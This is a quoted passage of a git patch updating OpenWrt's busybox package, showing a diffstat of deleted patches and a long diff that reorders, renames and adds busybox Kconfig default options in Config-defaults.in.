>   package/utils/busybox/config/util-linux/Config.in  |  598 +++++-----
>   .../busybox/config/util-linux/volume_id/Config.in  |    9 +
>   ...to_from-do-not-require-that-to-should-hav.patch |   37 -
>   .../busybox/patches/102-trylink_mktemp_fix.patch   |   20 -
>   .../patches/120-remove_uclibc_rpc_check.patch      |    2 +-
>   .../busybox/patches/200-udhcpc_reduce_msgs.patch   |    4 +-
>   .../patches/201-udhcpc_changed_ifindex.patch       |    2 +-
>   .../patches/203-udhcpc_renew_no_deconfig.patch     |    2 +-
>   .../utils/busybox/patches/240-telnetd_intr.patch   |    2 +-
>   .../utils/busybox/patches/250-date-k-flag.patch    |   12 +-
>   .../busybox/patches/302-netlink-alignment.patch    |  100 --
>   .../patches/303-ip-route-fix-high-table-ids.patch  |  486 --------
>   31 files changed, 2479 insertions(+), 3229 deletions(-)
>   delete mode 100644 package/utils/busybox/patches/002-libbb-send_to_from-do-not-require-that-to-should-hav.patch
>   delete mode 100644 package/utils/busybox/patches/102-trylink_mktemp_fix.patch
>   delete mode 100644 package/utils/busybox/patches/302-netlink-alignment.patch
>   delete mode 100644 package/utils/busybox/patches/303-ip-route-fix-high-table-ids.patch
>
> diff --git a/package/utils/busybox/Config-defaults.in b/package/utils/busybox/Config-defaults.in
> index 11cce03..3a52211 100644
> --- a/package/utils/busybox/Config-defaults.in
> +++ b/package/utils/busybox/Config-defaults.in
> @@ -16,15 +16,6 @@ config BUSYBOX_DEFAULT_USE_PORTABLE_CODE
>   config BUSYBOX_DEFAULT_PLATFORM_LINUX
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_BUFFERS_USE_MALLOC
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_BUFFERS_GO_ON_STACK
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_BUFFERS_GO_IN_BSS
> -	bool
> -	default n
>   config BUSYBOX_DEFAULT_SHOW_USAGE
>   	bool
>   	default y
> @@ -43,45 +34,9 @@ config BUSYBOX_DEFAULT_FEATURE_INSTALLER
>   config BUSYBOX_DEFAULT_INSTALL_NO_USR
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_LOCALE_SUPPORT
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UNICODE_SUPPORT
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UNICODE_USING_LOCALE
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_CHECK_UNICODE_IN_ENV
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_SUBST_WCHAR
> -	int
> -	default 0
> -config BUSYBOX_DEFAULT_LAST_SUPPORTED_WCHAR
> -	int
> -	default 0
> -config BUSYBOX_DEFAULT_UNICODE_COMBINING_WCHARS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UNICODE_WIDE_WCHARS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UNICODE_BIDI_SUPPORT
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UNICODE_NEUTRAL_TABLE
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UNICODE_PRESERVE_BROKEN
> -	bool
> -	default n
>   config BUSYBOX_DEFAULT_PAM
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_USE_SENDFILE
> -	bool
> -	default n
>   config BUSYBOX_DEFAULT_LONG_OPTS
>   	bool
>   	default y
> @@ -163,6 +118,30 @@ config BUSYBOX_DEFAULT_EXTRA_LDFLAGS
>   config BUSYBOX_DEFAULT_EXTRA_LDLIBS
>   	string
>   	default ""
> +config BUSYBOX_DEFAULT_INSTALL_APPLET_SYMLINKS
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_INSTALL_APPLET_HARDLINKS
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_INSTALL_APPLET_SCRIPT_WRAPPERS
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_INSTALL_APPLET_DONT
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_SYMLINK
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_HARDLINK
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_SCRIPT_WRAPPER
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_PREFIX
> +	string
> +	default "./_install"
>   config BUSYBOX_DEFAULT_DEBUG
>   	bool
>   	default n
> @@ -187,34 +166,19 @@ config BUSYBOX_DEFAULT_DMALLOC
>   config BUSYBOX_DEFAULT_EFENCE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_INSTALL_APPLET_SYMLINKS
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_INSTALL_APPLET_HARDLINKS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_INSTALL_APPLET_SCRIPT_WRAPPERS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_INSTALL_APPLET_DONT
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_SYMLINK
> +config BUSYBOX_DEFAULT_FEATURE_USE_BSS_TAIL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_HARDLINK
> +config BUSYBOX_DEFAULT_FEATURE_RTMINMAX
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_INSTALL_SH_APPLET_SCRIPT_WRAPPER
> +config BUSYBOX_DEFAULT_FEATURE_BUFFERS_USE_MALLOC
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_PREFIX
> -	string
> -	default "./_install"
> -config BUSYBOX_DEFAULT_FEATURE_USE_BSS_TAIL
> +config BUSYBOX_DEFAULT_FEATURE_BUFFERS_GO_ON_STACK
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_RTMINMAX
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_BUFFERS_GO_IN_BSS
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_PASSWORD_MINLEN
> @@ -268,12 +232,48 @@ config BUSYBOX_DEFAULT_FEATURE_EDITING_FANCY_PROMPT
>   config BUSYBOX_DEFAULT_FEATURE_EDITING_ASK_TERMINAL
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_LOCALE_SUPPORT
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_UNICODE_SUPPORT
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_UNICODE_USING_LOCALE
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_CHECK_UNICODE_IN_ENV
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_SUBST_WCHAR
> +	int
> +	default 0
> +config BUSYBOX_DEFAULT_LAST_SUPPORTED_WCHAR
> +	int
> +	default 0
> +config BUSYBOX_DEFAULT_UNICODE_COMBINING_WCHARS
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_UNICODE_WIDE_WCHARS
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_UNICODE_BIDI_SUPPORT
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_UNICODE_NEUTRAL_TABLE
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_UNICODE_PRESERVE_BROKEN
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_FEATURE_NON_POSIX_CP
>   	bool
>   	default y
>   config BUSYBOX_DEFAULT_FEATURE_VERBOSE_CP_MESSAGE
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_FEATURE_USE_SENDFILE
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_FEATURE_COPYBUF_KB
>   	int
>   	default 4
> @@ -319,24 +319,36 @@ config BUSYBOX_DEFAULT_UNCOMPRESS
>   config BUSYBOX_DEFAULT_GUNZIP
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_ZCAT
> +	bool
> +	default y
>   config BUSYBOX_DEFAULT_FEATURE_GUNZIP_LONG_OPTIONS
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_BUNZIP2
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_BZCAT
> +	bool
> +	default y
>   config BUSYBOX_DEFAULT_UNLZMA
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_LZMA_FAST
> +config BUSYBOX_DEFAULT_LZCAT
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_LZMA
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_FEATURE_LZMA_FAST
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_UNXZ
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_XZCAT
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_XZ
>   	bool
>   	default n
> @@ -358,9 +370,6 @@ config BUSYBOX_DEFAULT_DPKG
>   config BUSYBOX_DEFAULT_DPKG_DEB
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_DPKG_DEB_EXTRACT_ONLY
> -	bool
> -	default n
>   config BUSYBOX_DEFAULT_GZIP
>   	bool
>   	default y
> @@ -376,6 +385,12 @@ config BUSYBOX_DEFAULT_FEATURE_GZIP_LEVELS
>   config BUSYBOX_DEFAULT_LZOP
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_UNLZOP
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_LZOPCAT
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_LZOP_COMPR_HIGH
>   	bool
>   	default n
> @@ -427,9 +442,45 @@ config BUSYBOX_DEFAULT_UNZIP
>   config BUSYBOX_DEFAULT_BASENAME
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_CAL
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_CAT
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_CATV
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_CHGRP
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_CHMOD
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_CHOWN
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_CHOWN_LONG_OPTIONS
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_CHROOT
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_CKSUM
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_COMM
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_CP
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_CP_LONG_OPTIONS
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_CUT
> +	bool
> +	default y
>   config BUSYBOX_DEFAULT_DATE
>   	bool
>   	default y
> @@ -457,168 +508,81 @@ config BUSYBOX_DEFAULT_FEATURE_DD_IBS_OBS
>   config BUSYBOX_DEFAULT_FEATURE_DD_STATUS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_HOSTID
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_ID
> +config BUSYBOX_DEFAULT_DF
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_GROUPS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_SHUF
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_STAT
> +config BUSYBOX_DEFAULT_FEATURE_DF_FANCY
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_STAT_FORMAT
> +config BUSYBOX_DEFAULT_DIRNAME
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_STAT_FILESYSTEM
> +	default y
> +config BUSYBOX_DEFAULT_DOS2UNIX
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_SYNC
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_SYNC_FANCY
> +config BUSYBOX_DEFAULT_UNIX2DOS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_TEST
> +config BUSYBOX_DEFAULT_DU
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_TEST_64
> +config BUSYBOX_DEFAULT_FEATURE_DU_DEFAULT_BLOCKSIZE_1K
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_TOUCH
> +config BUSYBOX_DEFAULT_ECHO
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_TOUCH_NODEREF
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_TOUCH_SUSV3
> +config BUSYBOX_DEFAULT_FEATURE_FANCY_ECHO
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_TR
> +config BUSYBOX_DEFAULT_ENV
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_TR_CLASSES
> +config BUSYBOX_DEFAULT_FEATURE_ENV_LONG_OPTIONS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_TR_EQUIV
> +config BUSYBOX_DEFAULT_EXPAND
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_TRUNCATE
> +config BUSYBOX_DEFAULT_FEATURE_EXPAND_LONG_OPTIONS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_UNLINK
> +config BUSYBOX_DEFAULT_UNEXPAND
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_BASE64
> +config BUSYBOX_DEFAULT_FEATURE_UNEXPAND_LONG_OPTIONS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_WHO
> +config BUSYBOX_DEFAULT_EXPR
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_USERS
> +	default y
> +config BUSYBOX_DEFAULT_EXPR_MATH_SUPPORT_64
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_CAL
> +	default y
> +config BUSYBOX_DEFAULT_FALSE
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_CATV
> +	default y
> +config BUSYBOX_DEFAULT_FOLD
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_CHGRP
> +config BUSYBOX_DEFAULT_FSYNC
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_CHMOD
> +config BUSYBOX_DEFAULT_HEAD
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_CHOWN
> +config BUSYBOX_DEFAULT_FEATURE_FANCY_HEAD
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_CHOWN_LONG_OPTIONS
> +config BUSYBOX_DEFAULT_HOSTID
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_CHROOT
> +config BUSYBOX_DEFAULT_ID
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_CKSUM
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_COMM
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_CP
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_CP_LONG_OPTIONS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_CUT
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_DF
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_DF_FANCY
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_DIRNAME
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_DOS2UNIX
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_UNIX2DOS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_DU
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_DU_DEFAULT_BLOCKSIZE_1K
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_ECHO
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_FANCY_ECHO
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_ENV
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_ENV_LONG_OPTIONS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_EXPAND
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_EXPAND_LONG_OPTIONS
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_EXPR
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_EXPR_MATH_SUPPORT_64
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FALSE
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FOLD
> +config BUSYBOX_DEFAULT_GROUPS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FSYNC
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_HEAD
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_FANCY_HEAD
> -	bool
> -	default y
>   config BUSYBOX_DEFAULT_INSTALL
>   	bool
>   	default n
> @@ -661,6 +625,21 @@ config BUSYBOX_DEFAULT_FEATURE_LS_COLOR_IS_DEFAULT
>   config BUSYBOX_DEFAULT_MD5SUM
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_SHA1SUM
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_SHA256SUM
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_SHA512SUM
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_SHA3SUM
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_MD5_SHA1_SUM_CHECK
> +	bool
> +	default y
>   config BUSYBOX_DEFAULT_MKDIR
>   	bool
>   	default y
> @@ -718,16 +697,7 @@ config BUSYBOX_DEFAULT_FEATURE_RMDIR_LONG_OPTIONS
>   config BUSYBOX_DEFAULT_SEQ
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_SHA1SUM
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_SHA256SUM
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_SHA512SUM
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_SHA3SUM
> +config BUSYBOX_DEFAULT_SHUF
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_SLEEP
> @@ -751,12 +721,27 @@ config BUSYBOX_DEFAULT_SPLIT
>   config BUSYBOX_DEFAULT_FEATURE_SPLIT_FANCY
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_STAT
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_STAT_FORMAT
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_STAT_FILESYSTEM
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_STTY
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_SUM
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_SYNC
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_SYNC_FANCY
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_TAC
>   	bool
>   	default n
> @@ -772,9 +757,42 @@ config BUSYBOX_DEFAULT_TEE
>   config BUSYBOX_DEFAULT_FEATURE_TEE_USE_BLOCK_IO
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_TEST
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_TEST1
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_TEST2
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_TEST_64
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_TOUCH
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_TOUCH_NODEREF
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_TOUCH_SUSV3
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_TR
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_TR_CLASSES
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_TR_EQUIV
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_TRUE
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_TRUNCATE
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_TTY
>   	bool
>   	default n
> @@ -784,21 +802,21 @@ config BUSYBOX_DEFAULT_UNAME
>   config BUSYBOX_DEFAULT_UNAME_OSNAME
>   	string
>   	default "GNU/Linux"
> -config BUSYBOX_DEFAULT_UNEXPAND
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_UNEXPAND_LONG_OPTIONS
> -	bool
> -	default n
>   config BUSYBOX_DEFAULT_UNIQ
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_UNLINK
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_USLEEP
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_UUDECODE
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_BASE64
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_UUENCODE
>   	bool
>   	default n
> @@ -808,6 +826,12 @@ config BUSYBOX_DEFAULT_WC
>   config BUSYBOX_DEFAULT_FEATURE_WC_LARGE
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_WHO
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_USERS
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_WHOAMI
>   	bool
>   	default n
> @@ -826,15 +850,9 @@ config BUSYBOX_DEFAULT_FEATURE_AUTOWIDTH
>   config BUSYBOX_DEFAULT_FEATURE_HUMAN_READABLE
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_MD5_SHA1_SUM_CHECK
> -	bool
> -	default y
>   config BUSYBOX_DEFAULT_CHVT
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FGCONSOLE
> -	bool
> -	default n
>   config BUSYBOX_DEFAULT_CLEAR
>   	bool
>   	default y
> @@ -844,12 +862,30 @@ config BUSYBOX_DEFAULT_DEALLOCVT
>   config BUSYBOX_DEFAULT_DUMPKMAP
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_FGCONSOLE
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_KBD_MODE
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_LOADFONT
>   	bool
>   	default n
> +config BUSYBOX_DEFAULT_SETFONT
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_SETFONT_TEXTUAL_MAP
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_DEFAULT_SETFONT_DIR
> +	string
> +	default ""
> +config BUSYBOX_DEFAULT_FEATURE_LOADFONT_PSF2
> +	bool
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_LOADFONT_RAW
> +	bool
> +	default n
>   config BUSYBOX_DEFAULT_LOADKMAP
>   	bool
>   	default n
> @@ -871,15 +907,6 @@ config BUSYBOX_DEFAULT_SETCONSOLE
>   config BUSYBOX_DEFAULT_FEATURE_SETCONSOLE_LONG_OPTIONS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_SETFONT
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_SETFONT_TEXTUAL_MAP
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_DEFAULT_SETFONT_DIR
> -	string
> -	default ""
>   config BUSYBOX_DEFAULT_SETKEYCODES
>   	bool
>   	default n
> @@ -889,12 +916,6 @@ config BUSYBOX_DEFAULT_SETLOGCONS
>   config BUSYBOX_DEFAULT_SHOWKEY
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_LOADFONT_PSF2
> -	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_LOADFONT_RAW
> -	bool
> -	default n
>   config BUSYBOX_DEFAULT_MKTEMP
>   	bool
>   	default y
> @@ -1081,10 +1102,10 @@ config BUSYBOX_DEFAULT_FEATURE_FIND_LINKS
>   config BUSYBOX_DEFAULT_GREP
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_GREP_EGREP_ALIAS
> +config BUSYBOX_DEFAULT_EGREP
>   	bool
>   	default y
> -config BUSYBOX_DEFAULT_FEATURE_GREP_FGREP_ALIAS
> +config BUSYBOX_DEFAULT_FGREP
>   	bool
>   	default y
>   config BUSYBOX_DEFAULT_FEATURE_GREP_CONTEXT
> @@ -1120,6 +1141,12 @@ config BUSYBOX_DEFAULT_FEATURE_BOOTCHARTD_CONFIG_FILE
>   config BUSYBOX_DEFAULT_HALT
>   	bool
>   	default y
> +config BUSYBOX_DEFAULT_POWEROFF
> +	bool
> +	default y
> +config BUSYBOX_DEFAULT_REBOOT
> +	bool
> +	default y
>   config BUSYBOX_DEFAULT_FEATURE_CALL_TELINIT
>   	bool
>   	default n
> @@ -1285,28 +1312,28 @@ config BUSYBOX_DEFAULT_LSATTR
>   config BUSYBOX_DEFAULT_TUNE2FS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_MODINFO
> +config BUSYBOX_DEFAULT_MODPROBE_SMALL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_MODPROBE_SMALL
> +config BUSYBOX_DEFAULT_DEPMOD
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
> +config BUSYBOX_DEFAULT_INSMOD
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
> +config BUSYBOX_DEFAULT_LSMOD
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_INSMOD
> +config BUSYBOX_DEFAULT_FEATURE_LSMOD_PRETTY_2_6_OUTPUT
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_RMMOD
> +config BUSYBOX_DEFAULT_MODINFO
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_LSMOD
> +config BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_LSMOD_PRETTY_2_6_OUTPUT
> +config BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_MODPROBE
> @@ -1315,7 +1342,7 @@ config BUSYBOX_DEFAULT_MODPROBE
>   config BUSYBOX_DEFAULT_FEATURE_MODPROBE_BLACKLIST
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_DEPMOD
> +config BUSYBOX_DEFAULT_RMMOD
>   	bool
>   	default n
>   config BUSYBOX_DEFAULT_FEATURE_2_4_MODULES
> @@ -1354,154 +1381,148 @@ config BUSYBOX_DEFAULT_DEFAULT_MODULES_DIR
>   config BUSYBOX_DEFAULT_DEFAULT_DEPMOD_FILE
>   	string
>   	default ""
> -config BUSYBOX_DEFAULT_BLKDISCARD
> +config BUSYBOX_DEFAULT_ACPID
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_BLOCKDEV
> +config BUSYBOX_DEFAULT_FEATURE_ACPID_COMPAT
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FATATTR
> +config BUSYBOX_DEFAULT_BLKDISCARD
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FSTRIM
> +config BUSYBOX_DEFAULT_BLKID
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_MDEV
> +config BUSYBOX_DEFAULT_FEATURE_BLKID_TYPE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_MDEV_CONF
> +config BUSYBOX_DEFAULT_BLOCKDEV
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME
> +config BUSYBOX_DEFAULT_DMESG
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME_REGEXP
> +	default y
> +config BUSYBOX_DEFAULT_FEATURE_DMESG_PRETTY
>   	bool
> -	default n
> -config BUSYBOX_DEFAULT_FEATURE_MDEV_EXEC
> +	default y
> +config BUSYBOX_DEFAULT_FATATTR
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_MDEV_LOAD_FIRMWARE
> +config BUSYBOX_DEFAULT_FBSET
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_MOUNT
> +config BUSYBOX_DEFAULT_FEATURE_FBSET_FANCY
>   	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_MOUNT_FAKE
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_FBSET_READMODE
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_MOUNT_VERBOSE
> +config BUSYBOX_DEFAULT_FDFORMAT
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_MOUNT_HELPERS
> -	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_MOUNT_LABEL
> +config BUSYBOX_DEFAULT_FDISK
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_MOUNT_NFS
> +config BUSYBOX_DEFAULT_FDISK_SUPPORT_LARGE_DISKS
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_MOUNT_CIFS
> +config BUSYBOX_DEFAULT_FEATURE_FDISK_WRITABLE
>   	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_MOUNT_FLAGS
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_AIX_LABEL
>   	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_MOUNT_FSTAB
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_SGI_LABEL
>   	bool
> -	default y
> -config BUSYBOX_DEFAULT_FEATURE_MOUNT_OTHERTAB
> +	default n
> +config BUSYBOX_DEFAULT_FEATURE_SUN_LABEL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_NSENTER
> +config BUSYBOX_DEFAULT_FEATURE_OSF_LABEL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_FEATURE_NSENTER_LONG_OPTS
> +config BUSYBOX_DEFAULT_FEATURE_GPT_LABEL
>   	bool
>   	default n
> -config BUSYBOX_DEFAULT_REV
> +config BUSYBOX_DEFAULT_FEATURE_FDISK_ADVANCED
>   	bool
>   	default n
